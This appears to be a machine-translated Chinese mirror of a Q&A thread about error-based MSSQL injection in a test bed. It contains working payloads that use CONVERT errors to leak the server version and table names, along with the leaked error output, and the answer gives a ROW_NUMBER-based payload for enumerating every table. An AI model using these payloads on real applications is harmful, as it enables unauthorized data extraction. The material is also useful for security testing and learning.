簡體   English   中英

MSSQL注入

[英]MSSQL injection

我只是安裝了一個測試床,並禁用了information_schema的訪問權限(一個弱的waf),並且我一直在嘗試通過使用convert從數據庫中提取表列表,以將包含的信息吐出一個轉換錯誤。 要提取版本,我們使用以下語法:+ and + 1 = convert(int,@@ version)結果將是:

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 R2 (SP2) Copyright (c) Microsoft Corporation Standard Edition Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor) ' to data type int.

查詢的結果是單引號內的內容。 現在,通常可以從數據庫中獲取第一個表:

convert(int,(select+top+1+table_name+from+information_schema.tables))

這將導致錯誤:

Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'tblDepartement' to data type int.

index.asp, line 30

同樣,答案在兩個單引號內,即tblDepartement 提取表名的另一種方法是使用以下兩個查詢:

(A):SELECT name FROM sys.tables

(B): select * from sys.tables 如果我嘗試使用以下語法(A):

convert(int,(select name FROM sys.tables))

我收到錯誤:

Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near the keyword 'from'. 

如果我嘗試使用以下語法(B): convert(int,(select * FROM sys.tables))我收到錯誤消息:

Error Executing Database Query.
[Macromedia][SQLServer JDBC Driver][SQLServer]Incorrect syntax near '*'. 

所以我的問題是,如何不能在轉換語法中使用information_schema並使用sys.tables來從數據庫中獲取表列表? 謝謝。

CONVERT函數需要一個表達式 ,在子查詢的情況下,該表達式必須為標量:

{ constant | scalar_function | [ table_name. ] column | variable  
    | ( expression ) | ( scalar_subquery ) 
    | { unary_operator } expression 
    | expression { binary_operator } expression  
    | ranking_windowed_function | aggregate_windowed_function
}

進一步:

標量子查詢

是一個返回一個值的子查詢。 例如:

 SELECT MAX(UnitPrice) FROM Products 

因此,代替表達式子查詢必須僅返回一個值,因此既不包含多列也不包含多行。

對於您的查詢(A)和(B),都沒有滿足此限制,因為TABLES表具有多列和多行。

要枚舉所有表名,您只需要像下面這樣分別請求每個表名:

CONVERT(INT, (
  SELECT TOP 1 table_name
  FROM (
      SELECT table_name, ROW_NUMBER() OVER (ORDER BY table_name) AS row_num
      FROM information_schema.tables
  ) t
  WHERE row_num > 123
))

不幸的是,Transact-SQL需要此ROW_NUMBER()來進行偏移量選擇。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM